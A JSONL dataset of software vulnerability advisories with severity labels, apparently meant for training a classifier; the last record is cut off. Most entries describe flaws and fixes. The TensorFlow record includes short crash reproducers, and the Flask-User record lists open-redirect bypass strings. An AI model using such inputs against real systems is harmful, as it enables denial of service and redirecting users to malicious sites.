-{"id": "96e07441c50e01ff43ee", "text": "Arcadyan Buffalo Firmware Path Traversal Vulnerability\n\nAffected: Arcadyan Buffalo Firmware\n\nArcadyan Buffalo firmware contains a path traversal vulnerability that could allow unauthenticated, remote attackers to bypass authentication and access sensitive information. This vulnerability affects multiple routers across several different vendors.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Arcadyan Buffalo Firmware Path Traversal Vulnerability\n\nAffected: Arcadyan Buffalo Firmware\n\nArcadyan Buffalo firmware contains a path traversal vulnerability that could allow unauthenticated, remote attackers to bypass authentication and access sensitive information. This vulnerability affects multiple routers across several different vendors.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6cee9ce63f85ba3d7727", "text": "COMMAX Biometric Access Control System 1.0.0 Cookie Reflected XSS", "text_raw": "COMMAX Biometric Access Control System 1.0.0 Cookie Reflected XSS\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "03358f02901d013ae995", "text": "Canceling of orders not related to the logged-in user\n\n### Impact\nCanceling of orders not related to the logged-in user\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659", "text_raw": "Canceling of orders not related to the logged-in user\n\n[Severity: MEDIUM]\n\n### Impact\nCanceling of orders not related to the logged-in user\n\n### Patches\nWe recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-28", "split": "train"}
-{"id": "df8a25737fa1b9ef56d4", "text": "Path Traversal in marscode\n\nThis affects all versionsup to and including version 1.0.1-0 of package marscode. There is no path sanitization in the path provided at `fs.readFile` in `index.js`.", "text_raw": "Path Traversal in marscode\n\n[Severity: HIGH]\n\nThis affects all versionsup to and including version 1.0.1-0 of package marscode. There is no path sanitization in the path provided at `fs.readFile` in `index.js`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "4b8ec78df58c6aaa1746", "text": "Information Disclosure in Apache Tomcat\n\nWhen serving resources from a network location using the NTFS file system, Apache Tomcat versions 10.0.0-M1 to 10.0.0-M9, 9.0.0.M1 to 9.0.39, 8.5.0 to 8.5.59 and 7.0.0 to 7.0.106 were susceptible to JSP source code disclosure in some configurations. The root cause was the unexpected behaviour of the JRE API File.getCanonicalPath() which in turn was caused by the inconsistent behaviour of the Windows API (FindFirstFileW) in some circumstances.", "text_raw": "Information Disclosure in Apache Tomcat\n\n[Severity: MEDIUM]\n\nWhen serving resources from a network location using the NTFS file system, Apache Tomcat versions 10.0.0-M1 to 10.0.0-M9, 9.0.0.M1 to 9.0.39, 8.5.0 to 8.5.59 and 7.0.0 to 7.0.106 were susceptible to JSP source code disclosure in some configurations. The root cause was the unexpected behaviour of the JRE API File.getCanonicalPath() which in turn was caused by the inconsistent behaviour of the Windows API (FindFirstFileW) in some circumstances.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "483a50ffdaf5454fe5f9", "text": "Accellion FTA Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains a server-side request forgery (SSRF) vulnerability exploited via a crafted POST request to wmProgressstat.html.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Accellion FTA Server-Side Request Forgery (SSRF) Vulnerability\n\nAffected: Accellion FTA\n\nAccellion FTA contains a server-side request forgery (SSRF) vulnerability exploited via a crafted POST request to wmProgressstat.html.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-918\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "4872f4c338bd1ede344b", "text": "FlatPress 1.0.3 CSRF Arbitrary File Upload", "text_raw": "FlatPress 1.0.3 CSRF Arbitrary File Upload\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-05-30", "split": "train"}
-{"id": "fdd2daa013af0058524c", "text": "HomeAutomation v3.3.2 CSRF Add Admin Exploit", "text_raw": "HomeAutomation v3.3.2 CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-29", "split": "train"}
-{"id": "0539b2fae2f8f94dbd2f", "text": "user/group information can be corrupted across storing in fsimage and reading back from fsimage\n\nIn Apache Hadoop 3.1.0 to 3.1.1, 3.0.0-alpha1 to 3.0.3, 2.9.0 to 2.9.1, and 2.0.0-alpha to 2.8.4, the user/group information can be corrupted across storing in fsimage and reading back from fsimage.", "text_raw": "user/group information can be corrupted across storing in fsimage and reading back from fsimage\n\n[Severity: HIGH]\n\nIn Apache Hadoop 3.1.0 to 3.1.1, 3.0.0-alpha1 to 3.0.3, 2.9.0 to 2.9.1, and 2.0.0-alpha to 2.8.4, the user/group information can be corrupted across storing in fsimage and reading back from fsimage.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "f2e52c5ea230173bc6a1", "text": "Stack overflow in `ParseAttrValue` with nested tensors\n\n### Impact\nThe implementation of [`ParseAttrValue`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/framework/attr_value_util.cc#L397-L453) can be tricked into stack overflow due to recursion by giving in a specially crafted input.\n\n### Patches\nWe have patched the issue in GitHub commit [e07e1c3d26492c06f078c7e5bf2d138043e199c1](https://github.com/tensorflow/tensorflow/commit/e07e1c3d26492c06f078c7e5bf2d138043e199c1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Stack overflow in `ParseAttrValue` with nested tensors\n\n[Severity: LOW]\n\n### Impact\nThe implementation of [`ParseAttrValue`](https://github.com/tensorflow/tensorflow/blob/c22d88d6ff33031aa113e48aa3fc9aa74ed79595/tensorflow/core/framework/attr_value_util.cc#L397-L453) can be tricked into stack overflow due to recursion by giving in a specially crafted input.\n\n### Patches\nWe have patched the issue in GitHub commit [e07e1c3d26492c06f078c7e5bf2d138043e199c1](https://github.com/tensorflow/tensorflow/commit/e07e1c3d26492c06f078c7e5bf2d138043e199c1).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "2a8caeeb1b3aa2c9f835", "text": "Downloads Resources over HTTP in node-air-sdk\n\nAffected versions of `node-air-sdk` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `node-air-sdk`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in node-air-sdk\n\n[Severity: HIGH]\n\nAffected versions of `node-air-sdk` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `node-air-sdk`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ebe500aea1294b25e222", "text": "Horos 2.1.0 Web Portal Remote Information Disclosure Exploit", "text_raw": "Horos 2.1.0 Web Portal Remote Information Disclosure Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-12-16", "split": "train"}
-{"id": "233b741f2beeed9002c8", "text": "Lunar CMS 3.3 CSRF And Stored XSS Vulnerability", "text_raw": "Lunar CMS 3.3 CSRF And Stored XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-06-21", "split": "train"}
-{"id": "b733e05b8b4525a9a1e5", "text": "Actionpack Open Redirect Vulnerability\n\nThe Host Authorization middleware in Action Pack before 6.1.2.1, 6.0.3.5 suffers from an open redirect vulnerability. Specially crafted `Host` headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.", "text_raw": "Actionpack Open Redirect Vulnerability \n\n[Severity: MEDIUM]\n\nThe Host Authorization middleware in Action Pack before 6.1.2.1, 6.0.3.5 suffers from an open redirect vulnerability. Specially crafted `Host` headers in combination with certain \"allowed host\" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-02", "split": "train"}
-{"id": "4687cc2f145a96d58efe", "text": "FaceSentry Access Control System 6.4.8 Remote Command Injection", "text_raw": "FaceSentry Access Control System 6.4.8 Remote Command Injection\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-06-30", "split": "train"}
-{"id": "1b4461d1e949d5392478", "text": "Cross-Site Scripting in m-server\n\nVersions of `m-server` before 1.4.2 are vulnerable to stored cross-site scripting. This vulnerability is exploitable if an attacker is able to control the name of a file that `m-server` is serving.\n\n## Recommendation\n\nUpdate to version 1.4.2 or later.", "text_raw": "Cross-Site Scripting in m-server\n\n[Severity: MEDIUM]\n\nVersions of `m-server` before 1.4.2 are vulnerable to stored cross-site scripting. This vulnerability is exploitable if an attacker is able to control the name of a file that `m-server` is serving.\n\n\n## Recommendation\n\nUpdate to version 1.4.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "0f8a752fa45b008846ef", "text": "SAP NetWeaver Missing Authentication for Critical Function Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains a missing authentication for critical function vulnerability allowing unauthenticated access to execute configuration tasks and create administrative users.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "SAP NetWeaver Missing Authentication for Critical Function Vulnerability\n\nAffected: SAP NetWeaver\n\nSAP NetWeaver Application Server Java Platforms contains a missing authentication for critical function vulnerability allowing unauthenticated access to execute configuration tasks and create administrative users.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-306\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "6b13466d854ffe7d02ac", "text": "Open Redirect in Flask-User\n\nThis affects all versions of package Flask-User. When using the `make_safe_url` function, it is possible to bypass URL validation and redirect a user to an arbitrary URL by providing multiple backslashes such as `/////evil.com/path` or `\\\\\\evil.com/path`. This vulnerability is only exploitable if an alternative WSGI server other than Werkzeug is used, or the default behaviour of Werkzeug is modified using `autocorrect_location_header=False`.", "text_raw": "Open Redirect in Flask-User\n\n[Severity: MEDIUM]\n\nThis affects all versions of package Flask-User. When using the `make_safe_url` function, it is possible to bypass URL validation and redirect a user to an arbitrary URL by providing multiple backslashes such as `/////evil.com/path` or `\\\\\\evil.com/path`. This vulnerability is only exploitable if an alternative WSGI server other than Werkzeug is used, or the default behaviour of Werkzeug is modified using `autocorrect_location_header=False`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-09", "split": "train"}
-{"id": "91f177f31e7769cf6d1c", "text": "QOS.ch Logback vulnerable to Deserialization of Untrusted Data\n\nQOS.ch Logback before 1.2.0 has a serialization vulnerability affecting the SocketServer and ServerSocketReceiver components. The RemoteStreamAppenderClient class in logback-classic and the SocketNode classes in logback-classic and logback-access allow data to be deserialized over a Java Socket, via an ObjectInputStream, without validating the data beforehand. When data is received from the Socket, to be logged, it is deserialized into Java objects.An attacker can exploit this vulnerability by sending malicious, serialized Java objects over the connection to the Socket, which may result in execution of arbitrary code when those objects are deserialized. Note that although logback-core is implicated by the Logback project here, the Sonatype Security Research team discovered that the vulnerability is actually present in the logback-classic and logback-access components. Versions prior to 1.2.0 are vulnerable, as stated in the advisory.", "text_raw": "QOS.ch Logback vulnerable to Deserialization of Untrusted Data\n\n[Severity: CRITICAL]\n\nQOS.ch Logback before 1.2.0 has a serialization vulnerability affecting the SocketServer and ServerSocketReceiver components. The RemoteStreamAppenderClient class in logback-classic and the SocketNode classes in logback-classic and logback-access allow data to be deserialized over a Java Socket, via an ObjectInputStream, without validating the data beforehand. When data is received from the Socket, to be logged, it is deserialized into Java objects.An attacker can exploit this vulnerability by sending malicious, serialized Java objects over the connection to the Socket, which may result in execution of arbitrary code when those objects are deserialized. Note that although logback-core is implicated by the Logback project here, the Sonatype Security Research team discovered that the vulnerability is actually present in the logback-classic and logback-access components. Versions prior to 1.2.0 are vulnerable, as stated in the advisory.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-07", "split": "train"}
-{"id": "516b0a87491c4f3d1353", "text": "Division by 0 in `Conv3DBackprop*`\n\n### Impact\nThe `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0:\n\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\nfilter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450) does not check that the divisor used in computing the shard size is not zero:\n\n```cc\n  const int64 size_A = output_image_size * dims.out_depth;\n  const int64 size_B = filter_total_size * dims.out_depth;\n  const int64 size_C = output_image_size * filter_total_size;\n  const int64 work_unit_size = size_A + size_B + size_C;\n  ...\n  const size_t shard_size =\n      use_parallel_contraction\n        ? 1\n        : (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nThus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error.\n\n### Patches\nWe have patched the issue in GitHub commit [311403edbc9816df80274bd1ea8b3c0c0f22c3fa](https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by 0 in `Conv3DBackprop*`\n\n[Severity: LOW]\n\n### Impact\nThe `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0:\n\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([0, 0, 0, 0, 0], shape=[5], dtype=tf.int32)\nfilter_tensor = tf.constant([], shape=[0, 0, 0, 1, 0], dtype=tf.float32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)\n                            \ntf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n```python\nimport tensorflow as tf\n\ninput_sizes = tf.constant([1], shape=[1, 1, 1, 1, 1], dtype=tf.float32)\nfilter_tensor = tf.constant([0, 0, 0, 1, 0], shape=[5], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[1, 1, 1, 1, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 1, 1, 1, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1])\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450) does not check that the divisor used in computing the shard size is not zero:\n\n```cc\n  const int64 size_A = output_image_size * dims.out_depth;\n  const int64 size_B = filter_total_size * dims.out_depth;\n  const int64 size_C = output_image_size * filter_total_size;\n  const int64 work_unit_size = size_A + size_B + size_C;\n  ...\n  const size_t shard_size =\n      use_parallel_contraction\n        ? 1\n        : (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nThus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error.\n\n### Patches\nWe have patched the issue in GitHub commit [311403edbc9816df80274bd1ea8b3c0c0f22c3fa](https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "684c2974bfd64caa4a28", "text": "Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability", "text_raw": "Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-09-19", "split": "train"}
-{"id": "74c5d2d3de656f115d3e", "text": "Apache Struts Deserialization of Untrusted Data Vulnerability\n\nAffected: Apache Struts\n\nApache Struts REST Plugin uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Struts Deserialization of Untrusted Data Vulnerability\n\nAffected: Apache Struts\n\nApache Struts REST Plugin uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to remote code execution when deserializing XML payloads.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-502\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "2d60692c6eef4521705c", "text": "Incomplete validation of shapes in multiple TF ops\n\n### Impact\nSeveral TensorFlow operations are missing validation for the shapes of the tensor arguments involved in the call. Depending on the API, this can result in undefined behavior and segfault or `CHECK`-fail related crashes but in some scenarios writes and reads from heap populated arrays are also possible.\n\nWe have discovered these issues internally via tooling while working on improving/testing GPU op determinism. As such, we don't have reproducers and there will be multiple fixes for these issues.\n\n### Patches\nWe have patched the issue in GitHub commits [68422b215e618df5ad375bcdc6d2052e9fd3080a](https://github.com/tensorflow/tensorflow/commit/68422b215e618df5ad375bcdc6d2052e9fd3080a), [4d74d8a00b07441cba090a02e0dd9ed385145bf4](https://github.com/tensorflow/tensorflow/commit/4d74d8a00b07441cba090a02e0dd9ed385145bf4), [579261dcd446385831fe4f7457d802a59685121d](https://github.com/tensorflow/tensorflow/commit/579261dcd446385831fe4f7457d802a59685121d), [da4aad5946be30e5f049920fa076e1f7ef021261](https://github.com/tensorflow/tensorflow/commit/da4aad5946be30e5f049920fa076e1f7ef021261), [4dddb2fd0b01cdd196101afbba6518658a2c9e07](https://github.com/tensorflow/tensorflow/commit/4dddb2fd0b01cdd196101afbba6518658a2c9e07), and [e7f497570abb6b4ae5af4970620cd880e4c0c904](https://github.com/tensorflow/tensorflow/commit/e7f497570abb6b4ae5af4970620cd880e4c0c904).\n\nThese fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Incomplete validation of shapes in multiple TF ops\n\n[Severity: HIGH]\n\n### Impact\nSeveral TensorFlow operations are missing validation for the shapes of the tensor arguments involved in the call. Depending on the API, this can result in undefined behavior and segfault or `CHECK`-fail related crashes but in some scenarios writes and reads from heap populated arrays are also possible.\n\nWe have discovered these issues internally via tooling while working on improving/testing GPU op determinism. As such, we don't have reproducers and there will be multiple fixes for these issues.\n\n### Patches\nWe have patched the issue in GitHub commits [68422b215e618df5ad375bcdc6d2052e9fd3080a](https://github.com/tensorflow/tensorflow/commit/68422b215e618df5ad375bcdc6d2052e9fd3080a), [4d74d8a00b07441cba090a02e0dd9ed385145bf4](https://github.com/tensorflow/tensorflow/commit/4d74d8a00b07441cba090a02e0dd9ed385145bf4), [579261dcd446385831fe4f7457d802a59685121d](https://github.com/tensorflow/tensorflow/commit/579261dcd446385831fe4f7457d802a59685121d), [da4aad5946be30e5f049920fa076e1f7ef021261](https://github.com/tensorflow/tensorflow/commit/da4aad5946be30e5f049920fa076e1f7ef021261), [4dddb2fd0b01cdd196101afbba6518658a2c9e07](https://github.com/tensorflow/tensorflow/commit/4dddb2fd0b01cdd196101afbba6518658a2c9e07), and [e7f497570abb6b4ae5af4970620cd880e4c0c904](https://github.com/tensorflow/tensorflow/commit/e7f497570abb6b4ae5af4970620cd880e4c0c904).\n\nThese fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "43a6b69fd1299d7a3fcb", "text": "Red Hat Keycloak before version 2.4.0 did not correctly check permissions when handling service account user deletion requests sent to the rest server. An attacker with service account authentication could use this flaw to bypass normal permissions and delete users in a separate realm.", "text_raw": "Moderate severity vulnerability that affects org.keycloak:keycloak-core\n\n[Severity: MEDIUM]\n\nRed Hat Keycloak before version 2.4.0 did not correctly check permissions when handling service account user deletion requests sent to the rest server. An attacker with service account authentication could use this flaw to bypass normal permissions and delete users in a separate realm.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "fb2b88fd852f3d2808de", "text": "Unraid Authentication Bypass Vulnerability\n\nAffected: Unraid Unraid\n\nUnraid contains an authentication bypass vulnerability that allows attackers to gain access to the administrative interface. This CVE is chainable with CVE-2020-5847 for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-287, CWE-697\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Unraid Authentication Bypass Vulnerability\n\nAffected: Unraid Unraid\n\nUnraid contains an authentication bypass vulnerability that allows attackers to gain access to the administrative interface. This CVE is chainable with CVE-2020-5847 for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-287, CWE-697\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "682c3e0e81493892fb2b", "text": "KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection", "text_raw": "KYOCERA Multi-Set Template Editor 3.4 Out-Of-Band XML External Entity Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2018-04-07", "split": "train"}
-{"id": "b38f3c8841b0e4b4336a", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1103, CVE-2019-1106, CVE-2019-1107.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1103, CVE-2019-1106, CVE-2019-1107.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "d7e0653da1e3e0c6f976", "text": "Improper Authorization in @sap-cloud-sdk/core\n\nAffected versions of `@sap-cloud-sdk/core` do not properly validate JWTs.  The `verifyJwt()` function does not properly validate the URL from where the public verification key for the JWT can be downloaded.  Any URL was trusted which makes it possible to provide a URL belonging to a manipulated JWT.\n\n## Recommendation\n\nUpgrade to version 1.21.2 or later.", "text_raw": "Improper Authorization in @sap-cloud-sdk/core\n\n[Severity: HIGH]\n\nAffected versions of `@sap-cloud-sdk/core` do not properly validate JWTs.  The `verifyJwt()` function does not properly validate the URL from where the public verification key for the JWT can be downloaded.  Any URL was trusted which makes it possible to provide a URL belonging to a manipulated JWT.\n\n\n## Recommendation\n\nUpgrade to version 1.21.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "30ebe34ad71e733723f6", "text": "OpenWGA Content Manager 7.1.9 User-Agent HTTP Header XSS Vulnerability", "text_raw": "OpenWGA Content Manager 7.1.9 User-Agent HTTP Header XSS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2016-04-13", "split": "train"}
-{"id": "3594cda4d9aea991994f", "text": "XXE vulnerability on Launch import with externally-defined DTD file\n\n### Impact\nStarting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file which imports external Document Type Definition (DTD) file with external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.\n\n### Patches\nFixed with: https://github.com/reportportal/service-api/pull/1392\n\n### Binaries\n`docker pull reportportal/service-api:5.4.0`\nhttps://github.com/reportportal/service-api/packages/846871?version=5.4.0\n\n### For more information\nIf you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)", "text_raw": "XXE vulnerability on Launch import with externally-defined DTD file\n\n[Severity: HIGH]\n\n### Impact\nStarting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file which imports external Document Type Definition (DTD) file with external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.\n\n### Patches\nFixed with: https://github.com/reportportal/service-api/pull/1392\n\n### Binaries\n`docker 